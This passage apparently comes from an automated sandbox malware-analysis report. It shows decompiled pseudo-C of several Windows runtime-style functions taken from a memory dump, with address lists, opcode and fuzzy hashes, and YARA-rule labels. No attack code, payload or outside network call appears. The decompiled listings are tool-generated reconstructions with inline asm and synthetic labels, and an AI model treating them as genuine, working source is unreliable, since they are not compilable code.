					_v8 = (_a4 << 0xc) + (_v16 - ( *__ecx & _v16) >> 4 <<  *_t11) + ( *__ecx & _v16);
					E057AAFDE( &_v8,  &_v12);
					E057B1293(_t38, _v28, _t60);
					if(E05707D50() == 0) {
						_t32 = 0x7ffe0380;
					} else {
						_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t32 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						_t21 = _t38 + 0x3c; // 0xc3595e5f
						E057A14FB(_t38,  *_t21, _v11, _v15, 0xd);
					}
				}
				return  ~_t60;
			}

0x057b071b
0x057b0724
0x057b0734
0x057b0738
0x057b074b
0x057b074b
0x057b0753
0x057b0753
0x057b0759
0x057b075d
0x057b0774
0x057b0779
0x057b077d
0x057b0789
0x057b0795
0x057b07a7
0x057b0797
0x057b07a0
0x057b07a0
0x057b07af
0x057b07c4
0x057b07cd
0x057b07cd
0x057b07af
0x057b07dc

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
Instruction ID: 2efd257577d218adbb563939863866559bf64843ca4e7a66374d12c56e2e38b1
Opcode Fuzzy Hash: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
Instruction Fuzzy Hash: 7221F576308200AFEB05DF18C88CBABBBA5FBC4750F048669F9558B385D770D919DB91

Uniqueness

Uniqueness Score: -1.00%

Function 05767794, Relevance: .1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E05767794(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, unsigned int _a8, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _t21;
				void* _t24;
				intOrPtr _t25;
				void* _t36;
				short _t39;
				signed char* _t42;
				unsigned int _t46;
				void* _t50;

				_push(__ecx);
				_push(__ecx);
				_t21 =  *0x57d7b9c; // 0x0
				_t46 = _a8;
				_v12 = __edx;
				_v8 = __ecx;
				_t4 = _t46 + 0x2e; // 0x2e
				_t36 = _t4;
				_t24 = L05704620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t21 + 0x180000, _t36);
				_t50 = _t24;
				if(_t50 != 0) {
					_t25 = _a4;
					if(_t25 == 5) {
						L3:
						_t39 = 0x14b1;
					} else {
						_t39 = 0x14b0;
						if(_t25 == 6) {
							goto L3;
						}
					}
					 *((short*)(_t50 + 6)) = _t39;
					 *((intOrPtr*)(_t50 + 0x28)) = _t25;
					_t11 = _t50 + 0x2c; // 0x2c
					 *((intOrPtr*)(_t50 + 0x20)) = _v8;
					 *((intOrPtr*)(_t50 + 0x24)) = _v12;
					E0572F3E0(_t11, _a12, _t46);
					 *((short*)(_t50 + 0x2c + (_t46 >> 1) * 2)) = 0;
					if(E05707D50() == 0) {
						_t42 = 0x7ffe0384;
					} else {
						_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_push(_t50);
					_t19 = _t36 - 0x20; // 0xe
					_push(0x403);
					_push( *_t42 & 0x000000ff);
					E05729AE0();
					_t24 = L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t50);
				}
				return _t24;
			}

0x05767799
0x0576779a
0x0576779b
0x057677a3
0x057677ab
0x057677ae
0x057677b1
0x057677b1
0x057677bf
0x057677c4
0x057677c8
0x057677ce
0x057677d4
0x057677e0
0x057677e0
0x057677d6
0x057677d6
0x057677de
0x00000000
0x00000000
0x057677de
0x057677e5
0x057677f0
0x057677f3
0x057677f6
0x057677fd
0x05767800
0x0576780c
0x05767818
0x0576782b
0x0576781a
0x05767823
0x05767823
0x05767830
0x05767831
0x05767838
0x0576783d
0x0576783e
0x0576784f
0x0576784f
0x0576785a

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 258ca95b820fcdc4fd11a93d40b2f3ff435030c7a70fe809ef95ec3c725454d3
Instruction ID: e16c9000d2838bf83b1cddc4ad0eabdee348acfb9a3918cb2f6b4c34e9737a5e
Opcode Fuzzy Hash: 258ca95b820fcdc4fd11a93d40b2f3ff435030c7a70fe809ef95ec3c725454d3
Instruction Fuzzy Hash: DF219F72600644EFC729DF69D884E6BB7F9FF48780F104569F90AC7650D634E900DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0570AE73, Relevance: .1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E0570AE73(intOrPtr __ecx, void* __edx) {
				intOrPtr _v8;
				void* _t19;
				char* _t22;
				signed char* _t24;
				intOrPtr _t25;
				intOrPtr _t27;
				void* _t31;
				intOrPtr _t36;
				char* _t38;
				signed char* _t42;

				_push(__ecx);
				_t31 = __edx;
				_v8 = __ecx;
				_t19 = E05707D50();
				_t38 = 0x7ffe0384;
				if(_t19 != 0) {
					_t22 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t22 = 0x7ffe0384;
				}
				_t42 = 0x7ffe0385;
				if( *_t22 != 0) {
					if(E05707D50() == 0) {
						_t24 = 0x7ffe0385;
					} else {
						_t24 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t24 & 0x00000010) != 0) {
						goto L17;
					} else {
						goto L3;
					}
				} else {
					L3:
					_t27 = E05707D50();
					if(_t27 != 0) {
						_t27 =  *[fs:0x30];
						_t38 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22a;
					}
					if( *_t38 != 0) {
						_t27 =  *[fs:0x30];
						if(( *(_t27 + 0x240) & 0x00000004) == 0) {
							goto L5;
						}
						_t27 = E05707D50();
						if(_t27 != 0) {
							_t27 =  *[fs:0x30];
							_t42 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22b;
						}
						if(( *_t42 & 0x00000020) != 0) {
							L17:
							_t25 = _v8;
							_t36 = 0;
							if(_t25 != 0) {
								_t36 =  *((intOrPtr*)(_t25 + 0x18));
							}
							_t27 = E05767794( *((intOrPtr*)(_t31 + 0x18)), _t36,  *((intOrPtr*)(_t31 + 0x94)),  *(_t31 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_t31 + 0x28)));
						}
						goto L5;
					} else {
						L5:
						return _t27;
					}
				}
			}

0x0570ae78
0x0570ae7c
0x0570ae7e
0x0570ae81
0x0570ae86
0x0570ae8d
0x05752691
0x0570ae93
0x0570ae93
0x0570ae93
0x0570ae98
0x0570ae9d
0x057526a2
0x057526b4
0x057526a4
0x057526ad
0x057526ad
0x057526b9
0x00000000
0x057526bb
0x00000000
0x057526bb
0x0570aea3
0x0570aea3
0x0570aea3
0x0570aeaa
0x057526c0
0x057526c9
0x057526c9
0x0570aeb3
0x057526d4
0x057526e1
0x00000000
0x00000000
0x057526e7
0x057526ee
0x057526f0
0x057526f9
0x057526f9
0x05752702
0x05752708
0x05752708
0x0575270b
0x0575270f
0x05752711
0x05752711
0x05752725
0x05752725
0x00000000
0x0570aeb9
0x0570aeb9
0x0570aebf
0x0570aebf
0x0570aeb3

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
Instruction ID: de4c0c8122434acabc4361ba5aca8cc6fb8920731d180c2bd82890b3f4876b45
Opcode Fuzzy Hash: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
Instruction Fuzzy Hash: 9221CF35605681DFD726DB28C948B2677EAFF44360F1900A0DD048BAA3E7B4DC41E7A0

Uniqueness

Uniqueness Score: -1.00%

Function 0571FD9B, Relevance: .1, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0571FD9B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				intOrPtr _v8;
				void* _t19;
				intOrPtr _t29;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t37;
				intOrPtr* _t40;

				_t35 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t37 = 0;
				_v8 = __edx;
				_t29 = __ecx;
				if( *((intOrPtr*)( *[fs:0x18] + 0xfbc)) != 0) {
					_t40 =  *((intOrPtr*)( *[fs:0x18] + 0xfbc));
					L3:
					_t19 = _a4 - 4;
					if(_t19 != 0) {
						if(_t19 != 1) {
							L7:
							return _t37;
						}
						if(_t35 == 0) {
							L11:
							_t37 = 0xc000000d;
							goto L7;
						}
						if( *((intOrPtr*)(_t40 + 4)) != _t37) {
							L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37,  *((intOrPtr*)(_t40 + 4)));
							_t35 = _v8;
						}
						 *((intOrPtr*)(_t40 + 4)) = _t35;
						goto L7;
					}
					if(_t29 == 0) {
						goto L11;
					}
					_t32 =  *_t40;
					if(_t32 != 0) {
						 *((intOrPtr*)(_t29 + 0x20)) =  *((intOrPtr*)(_t32 + 0x20));
						E056F76E2( *_t40);
					}
					 *_t40 = _t29;
					goto L7;
				}
				_t40 = L05704620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 8);
				if(_t40 == 0) {
					_t37 = 0xc0000017;
					goto L7;
				}
				_t35 = _v8;
				 *_t40 = 0;
				 *((intOrPtr*)(_t40 + 4)) = 0;
				 *((intOrPtr*)( *[fs:0x18] + 0xfbc)) = _t40;
				goto L3;
			}

0x0571fd9b
0x0571fda0
0x0571fda1
0x0571fdab
0x0571fdad
0x0571fdb0
0x0571fdb8
0x0571fe0f
0x0571fde6
0x0571fde9
0x0571fdec
0x0575c0c0
0x0571fdfe
0x0571fe06
0x0571fe06
0x0575c0c8
0x0571fe2d
0x0571fe2d
0x00000000
0x0571fe2d
0x0575c0d1
0x0575c0e0
0x0575c0e5
0x0575c0e5
0x0575c0e8
0x00000000
0x0575c0e8
0x0571fdf4
0x00000000
0x00000000
0x0571fdf6
0x0571fdfa
0x0571fe1a
0x0571fe1f
0x0571fe1f
0x0571fdfc
0x00000000
0x0571fdfc
0x0571fdcc
0x0571fdd0
0x0571fe26
0x00000000
0x0571fe26
0x0571fdd8
0x0571fddb
0x0571fddd
0x0571fde0
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
Instruction ID: a143d24d2b0b41b0ba7cb9f859f8d58d59815790ae749b2cc68a5515c1c975c8
Opcode Fuzzy Hash: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
Instruction Fuzzy Hash: 2A21AC72604A40DFC735CF0DC940E76B7E6FB84B50F20806EE98A87615D730AC01EBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0571B390, Relevance: .1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E0571B390(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				signed char _t12;
				signed int _t16;
				signed int _t21;
				void* _t28;
				signed int _t30;
				signed int _t36;
				signed int _t41;

				_push(__ecx);
				_t41 = _a4 + 0xffffffb8;
				E05702280(_t12, 0x57d8608);
				 *(_t41 + 0x34) =  *(_t41 + 0x34) - 1;
				asm("sbb edi, edi");
				_t36 =  !( ~( *(_t41 + 0x34))) & _t41;
				_v8 = _t36;
				asm("lock cmpxchg [ebx], ecx");
				_t30 = 1;
				if(1 != 1) {
					while(1) {
						_t21 = _t30 & 0x00000006;
						_t16 = _t30;
						_t28 = (0 | _t21 == 0x00000002) * 4 - 1 + _t30;
						asm("lock cmpxchg [edi], esi");
						if(_t16 == _t30) {
							break;
						}
						_t30 = _t16;
					}
					_t36 = _v8;
					if(_t21 == 2) {
						_t16 = E057200C2(0x57d8608, 0, _t28);
					}
				}
				if(_t36 != 0) {
					_t16 = L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t36);
				}
				return _t16;
			}

0x0571b395
0x0571b3a2
0x0571b3a5
0x0571b3aa
0x0571b3b2
0x0571b3ba
0x0571b3bd
0x0571b3c0
0x0571b3c4
0x0571b3c9
0x0575a3e9
0x0575a3ed
0x0575a3f0
0x0575a3ff
0x0575a403
0x0575a409
0x00000000
0x00000000
0x0575a40b
0x0575a40b
0x0575a40f
0x0575a415
0x0575a423
0x0575a423
0x0575a415
0x0571b3d1
0x0571b3e8
0x0571b3e8
0x0571b3d9

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 825decc457c823fbe6522e54b626b60cac5aef37241c41254426d3bc267d8d61
Instruction ID: 6a680b12bde742630280084edd08642b5788cf3bcf8db378d6bd54179329f043
Opcode Fuzzy Hash: 825decc457c823fbe6522e54b626b60cac5aef37241c41254426d3bc267d8d61
Instruction Fuzzy Hash: 821148333151109BCB29DA598D85A2BB3A7FBD5730B65013DDE1AD7380DD32AC02E695

Uniqueness

Uniqueness Score: -1.00%

Function 056E9240, Relevance: .1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E056E9240(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t41;
				intOrPtr* _t46;
				void* _t48;
				intOrPtr _t50;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr _t62;
				intOrPtr _t65;
				void* _t66;
				void* _t68;

				_push(0xc);
				_push(0x57bf708);
				E0573D08C(__ebx, __edi, __esi);
				_t65 = __ecx;
				 *((intOrPtr*)(_t68 - 0x1c)) = __ecx;
				if( *(__ecx + 0x24) != 0) {
					_push( *(__ecx + 0x24));
					E057295D0();
					 *(__ecx + 0x24) =  *(__ecx + 0x24) & 0x00000000;
				}
				L6();
				L6();
				_push( *((intOrPtr*)(_t65 + 0x28)));
				E057295D0();
				_t33 =  *0x57d84c4; // 0x0
				L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t33 + 0xc0000,  *((intOrPtr*)(_t65 + 0x10)));
				_t37 =  *0x57d84c4; // 0x0
				L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37 + 0xc0000,  *((intOrPtr*)(_t65 + 0x1c)));
				_t41 =  *0x57d84c4; // 0x0
				E05702280(L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t41 + 0xc0000,  *((intOrPtr*)(_t65 + 0x20))), 0x57d86b4);
				 *(_t68 - 4) =  *(_t68 - 4) & 0x00000000;
				_t46 = _t65 + 0xe8;
				_t62 =  *_t46;
				_t60 =  *((intOrPtr*)(_t46 + 4));
				if( *((intOrPtr*)(_t62 + 4)) != _t46 ||  *_t60 != _t46) {
					_t61 = 3;
					asm("int 0x29");
					_push(_t65);
					_t66 = _t61;
					_t23 = _t66 + 0x14; // 0x8df8084c
					_push( *_t23);
					E057295D0();
					_t24 = _t66 + 0x10; // 0x89e04d8b
					_push( *_t24);
					 *(_t66 + 0x38) =  *(_t66 + 0x38) & 0x00000000;
					_t48 = E057295D0();
					 *(_t66 + 0x14) =  *(_t66 + 0x14) & 0x00000000;
					 *(_t66 + 0x10) =  *(_t66 + 0x10) & 0x00000000;
					return _t48;
				} else {
					 *_t60 = _t62;
					 *((intOrPtr*)(_t62 + 4)) = _t60;
					 *(_t68 - 4) = 0xfffffffe;
					E056E9325();
					_t50 =  *0x57d84c4; // 0x0
					return E0573D0D1(L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t50 + 0xc0000, _t65));
				}
			}

0x056e9240
0x056e9242
0x056e9247
0x056e924c
0x056e924e
0x056e9255
0x056e9257
0x056e925a
0x056e925f
0x056e925f
0x056e9266
0x056e9271
0x056e9276
0x056e9279
0x056e927e
0x056e9295
0x056e929a
0x056e92b1
0x056e92b6
0x056e92d7
0x056e92dc
0x056e92e0
0x056e92e6
0x056e92e8
0x056e92ee
0x056e9332
0x056e9333
0x056e9337
0x056e9338
0x056e933a
0x056e933a
0x056e933d
0x056e9342
0x056e9342
0x056e9345
0x056e9349
0x056e934e
0x056e9352
0x056e9357
0x056e92f4
0x056e92f4
0x056e92f6
0x056e92f9
0x056e9300
0x056e9306
0x056e9324
0x056e9324

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4265801935e4f105fc106a94bac7b538d65acaf86fd2771b9112d86fc2eb36de
Instruction ID: 220ac64fab1be800ad05b86b7e20a4697771fac6951fecf5c6876d6932732d5f
Opcode Fuzzy Hash: 4265801935e4f105fc106a94bac7b538d65acaf86fd2771b9112d86fc2eb36de
Instruction Fuzzy Hash: 47217C72252600DFC725EF28CA08F29B7F9FF08B14F0445ACE009876A2CB34E941EB54

Uniqueness

Uniqueness Score: -1.00%

Function 05774257, Relevance: .1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E05774257(void* __ebx, void* __ecx, intOrPtr* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t18;
				intOrPtr _t24;
				intOrPtr* _t27;
				intOrPtr* _t30;
				intOrPtr* _t31;
				intOrPtr _t33;
				intOrPtr* _t34;
				intOrPtr* _t35;
				void* _t37;
				void* _t38;
				void* _t39;
				void* _t43;

				_t39 = __eflags;
				_t35 = __edi;
				_push(8);
				_push(0x57c08d0);
				E0573D08C(__ebx, __edi, __esi);
				_t37 = __ecx;
				E057741E8(__ebx, __edi, __ecx, _t39);
				E056FEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				_t18 = _t37 + 8;
				_t33 =  *_t18;
				_t27 =  *((intOrPtr*)(_t18 + 4));
				if( *((intOrPtr*)(_t33 + 4)) != _t18 ||  *_t27 != _t18) {
					L8:
					_push(3);
					asm("int 0x29");
				} else {
					 *_t27 = _t33;
					 *((intOrPtr*)(_t33 + 4)) = _t27;
					_t35 = 0x57d87e4;
					_t18 =  *0x57d87e0; // 0x0
					while(_t18 != 0) {
						_t43 = _t18 -  *0x57d5cd0; // 0xffffffff
						if(_t43 >= 0) {
							_t31 =  *0x57d87e4; // 0x0
							_t18 =  *_t31;
							if( *((intOrPtr*)(_t31 + 4)) != _t35 ||  *((intOrPtr*)(_t18 + 4)) != _t31) {
								goto L8;
							} else {
								 *0x57d87e4 = _t18;
								 *((intOrPtr*)(_t18 + 4)) = _t35;
								L056E7055(_t31 + 0xfffffff8);
								_t24 =  *0x57d87e0; // 0x0
								_t18 = _t24 - 1;
								 *0x57d87e0 = _t18;
								continue;
							}
						}
						goto L9;
					}
				}
				L9:
				__eflags =  *0x57d5cd0;
				if( *0x57d5cd0 <= 0) {
					L056E7055(_t37);
				} else {
					_t30 = _t37 + 8;
					_t34 =  *0x57d87e8; // 0x0
					__eflags =  *_t34 - _t35;
					if( *_t34 != _t35) {
						goto L8;
					} else {
						 *_t30 = _t35;
						 *((intOrPtr*)(_t30 + 4)) = _t34;
						 *_t34 = _t30;
						 *0x57d87e8 = _t30;
						 *0x57d87e0 = _t18 + 1;
					}
				}
				 *(_t38 - 4) = 0xfffffffe;
				return E0573D0D1(L05774320());
			}

0x05774257
0x05774257
0x05774257
0x05774259
0x0577425e
0x05774263
0x05774265
0x05774273
0x05774278
0x0577427c
0x0577427f
0x05774281
0x05774287
0x057742d7
0x057742d7
0x057742da
0x0577428d
0x0577428d
0x0577428f
0x05774292
0x05774297
0x0577429c
0x057742a0
0x057742a6
0x057742a8
0x057742ae
0x057742b3
0x00000000
0x057742ba
0x057742ba
0x057742bf
0x057742c5
0x057742ca
0x057742cf
0x057742d0
0x00000000
0x057742d0
0x057742b3
0x00000000
0x057742a6
0x0577429c
0x057742dc
0x057742dc
0x057742e3
0x05774309
0x057742e5
0x057742e5
0x057742e8
0x057742ee
0x057742f0
0x00000000
0x057742f2
0x057742f2
0x057742f4
0x057742f7
0x057742f9
0x05774300
0x05774300
0x057742f0
0x0577430e
0x0577431f

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4560fc600e63bea63294e5004f7e279c7ce4dce76718bcc7ca7b78cfc72a847
Instruction ID: 54a4062e93f3a7dea3b30f4363bca46909ac8f4ea4137fa12168c6dfca32307f
Opcode Fuzzy Hash: a4560fc600e63bea63294e5004f7e279c7ce4dce76718bcc7ca7b78cfc72a847
Instruction Fuzzy Hash: 8D218E7161260ACFCF66EF64E005E247BF2FB45335B10C2AED1199B260DB319451EF51

Uniqueness

Uniqueness Score: -1.00%

Function 05712397, Relevance: .1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E05712397(intOrPtr _a4) {
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t11;
				void* _t19;
				void* _t25;
				void* _t26;
				intOrPtr _t27;
				void* _t28;
				void* _t29;

				_t27 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294));
				if( *0x57d848c != 0) {
					L0570FAD0(0x57d8610);
					if( *0x57d848c == 0) {
						E0570FA00(0x57d8610, _t19, _t27, 0x57d8610);
						goto L1;
					} else {
						_push(0);
						_push(_a4);
						_t26 = 4;
						_t29 = E05712581(0x57d8610, 0x56c50a0, _t26, _t27, _t28);
						E0570FA00(0x57d8610, 0x56c50a0, _t27, 0x57d8610);
					}
				} else {
					L1:
					_t11 =  *0x57d8614; // 0x0
					if(_t11 == 0) {
						_t11 = E05724886(0x56c1088, 1, 0x57d8614);
					}
					_push(0);
					_push(_a4);
					_t25 = 4;
					_t29 = E05712581(0x57d8610, (_t11 << 4) + 0x56c5070, _t25, _t27, _t28);
				}
				if(_t29 != 0) {
					 *((intOrPtr*)(_t29 + 0x38)) = _t27;
					 *((char*)(_t29 + 0x40)) = 0;
				}
				return _t29;
			}

0x057123b0
0x057123b6
0x05712409
0x05712415
0x05755ae9
0x00000000
0x0571241b
0x0571241b
0x0571241d
0x05712427
0x0571242e
0x05712430
0x05712430
0x057123b8
0x057123b8
0x057123b8
0x057123bf
0x057123fc
0x057123fc
0x057123c1
0x057123c3
0x057123d0
0x057123d8
0x057123d8
0x057123dc
0x057123de
0x057123e1
0x057123e1
0x057123ec

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 088694ee96e44bc0c5a05f20a4350b606916fd2fa18108cee9063d9ce9478ed2
Instruction ID: b4118ea1543c1da20de367d0e0e9e69a41f6418da56745615904bcf07b5b7ebc
Opcode Fuzzy Hash: 088694ee96e44bc0c5a05f20a4350b606916fd2fa18108cee9063d9ce9478ed2
Instruction Fuzzy Hash: 1E11C871704310A7D7309A2F9C89F25BAEAFB50760F54846AFD02E7192D9B0E841F669

Uniqueness

Uniqueness Score: -1.00%

Function 057646A7, Relevance: .1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E057646A7(signed short* __ecx, unsigned int __edx, char* _a4) {
				signed short* _v8;
				unsigned int _v12;
				intOrPtr _v16;
				signed int _t22;
				signed char _t23;
				short _t32;
				void* _t38;
				char* _t40;

				_v12 = __edx;
				_t29 = 0;
				_v8 = __ecx;
				_v16 =  *((intOrPtr*)( *[fs:0x30] + 0x18));
				_t38 = L05704620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *__ecx & 0x0000ffff);
				if(_t38 != 0) {
					_t40 = _a4;
					 *_t40 = 1;
					E0572F3E0(_t38, _v8[2],  *_v8 & 0x0000ffff);
					_t22 = _v12 >> 1;
					_t32 = 0x2e;
					 *((short*)(_t38 + _t22 * 2)) = _t32;
					 *((short*)(_t38 + 2 + _t22 * 2)) = 0;
					_t23 = E0571D268(_t38, 1);
					asm("sbb al, al");
					 *_t40 =  ~_t23 + 1;
					L057077F0(_v16, 0, _t38);
				} else {
					 *_a4 = 0;
					_t29 = 0xc0000017;
				}
				return _t29;
			}

0x057646b7
0x057646ba
0x057646c5
0x057646c8
0x057646d0
0x057646d4
0x057646e6
0x057646e9
0x057646f4
0x057646ff
0x05764705
0x05764706
0x0576470c
0x05764713
0x0576471b
0x05764723
0x05764725
0x057646d6
0x057646d9
0x057646db
0x057646db
0x05764732

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
Instruction ID: b2e369a2952f5c29c8a0d8ff599e64fd1f0796e8379e166626928e0672bc1cdb
Opcode Fuzzy Hash: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
Instruction Fuzzy Hash: 9511C272604208BFCB159F5CD8849BEB7BAEF95300F10806AFD448B351DA319D55E7A5

Uniqueness

Uniqueness Score: -1.00%

Function 056EC962, Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E056EC962(char __ecx) {
				signed int _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t19;
				char _t22;
				void* _t26;
				void* _t27;
				char _t32;
				char _t34;
				void* _t35;
				void* _t37;
				intOrPtr* _t38;
				signed int _t39;

				_t41 = (_t39 & 0xfffffff8) - 0xc;
				_v8 =  *0x57dd360 ^ (_t39 & 0xfffffff8) - 0x0000000c;
				_t34 = __ecx;
				if(( *( *[fs:0x30] + 0x68) & 0x00000100) != 0) {
					_t26 = 0;
					E056FEEF0(0x57d70a0);
					_t29 =  *((intOrPtr*)(_t34 + 0x18));
					if(E0576F625( *((intOrPtr*)(_t34 + 0x18))) != 0) {
						L9:
						E056FEB70(_t29, 0x57d70a0);
						_t19 = _t26;
						L2:
						_pop(_t35);
						_pop(_t37);
						_pop(_t27);
						return E0572B640(_t19, _t27, _v8 ^ _t41, _t32, _t35, _t37);
					}
					_t29 = _t34;
					_t26 = E0576F1FC(_t34, _t32);
					if(_t26 < 0) {
						goto L9;
					}
					_t38 =  *0x57d70c0; // 0x0
					while(_t38 != 0x57d70c0) {
						_t22 =  *((intOrPtr*)(_t38 + 0x18));
						_t38 =  *_t38;
						_v12 = _t22;
						if(_t22 != 0) {
							_t29 = _t22;
							 *0x57db1e0( *((intOrPtr*)(_t34 + 0x30)),  *((intOrPtr*)(_t34 + 0x18)),  *((intOrPtr*)(_t34 + 0x20)), _t34);
							_v12();
						}
					}
					goto L9;
				}
				_t19 = 0;
				goto L2;
			}

0x056ec96a
0x056ec974
0x056ec988
0x056ec98a
0x05757c9d
0x05757c9f
0x05757ca4
0x05757cae
0x05757cf0
0x05757cf5
0x05757cfa
0x056ec992
0x056ec996
0x056ec997
0x056ec998
0x056ec9a3
0x056ec9a3
0x05757cb0
0x05757cb7
0x05757cbb
0x00000000
0x00000000
0x05757cbd
0x05757ce8
0x05757cc5
0x05757cc8
0x05757cca
0x05757cd0
0x05757cd6
0x05757cde
0x05757ce4
0x05757ce4
0x05757cd0
0x00000000
0x05757ce8
0x056ec990
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aad37957a268a0e430a88d14cb99f605464bbbdc8f8a0f6cebf2edea65751801
Instruction ID: 28b4513bdfa37ea32946f04d2e938bb611805f4c221de6024f7dcd20c3bd767f
Opcode Fuzzy Hash: aad37957a268a0e430a88d14cb99f605464bbbdc8f8a0f6cebf2edea65751801
Instruction Fuzzy Hash: F411CE317106069BC718AF28DC89A2BBBFAFB84660B404528FD4583690DF60EC10FBE1

Uniqueness

Uniqueness Score: -1.00%

Function 057237F5, Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E057237F5(void* __ecx, intOrPtr* __edx) {
				void* __ebx;
				void* __edi;
				signed char _t6;
				intOrPtr _t13;
				intOrPtr* _t20;
				intOrPtr* _t27;
				void* _t28;
				intOrPtr* _t29;

				_t27 = __edx;
				_t28 = __ecx;
				if(__edx == 0) {
					E05702280(_t6, 0x57d8550);
				}
				_t29 = E0572387E(_t28);
				if(_t29 == 0) {
					L6:
					if(_t27 == 0) {
						E056FFFB0(0x57d8550, _t27, 0x57d8550);
					}
					if(_t29 == 0) {
						return 0xc0000225;
					} else {
						if(_t27 != 0) {
							goto L14;
						}
						L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t27, _t29);
						goto L11;
					}
				} else {
					_t13 =  *_t29;
					if( *((intOrPtr*)(_t13 + 4)) != _t29) {
						L13:
						_push(3);
						asm("int 0x29");
						L14:
						 *_t27 = _t29;
						L11:
						return 0;
					}
					_t20 =  *((intOrPtr*)(_t29 + 4));
					if( *_t20 != _t29) {
						goto L13;
					}
					 *_t20 = _t13;
					 *((intOrPtr*)(_t13 + 4)) = _t20;
					asm("btr eax, ecx");
					goto L6;
				}
			}

0x057237fa
0x057237fc
0x05723805
0x05723808
0x05723808
0x05723814
0x05723818
0x05723846
0x05723848
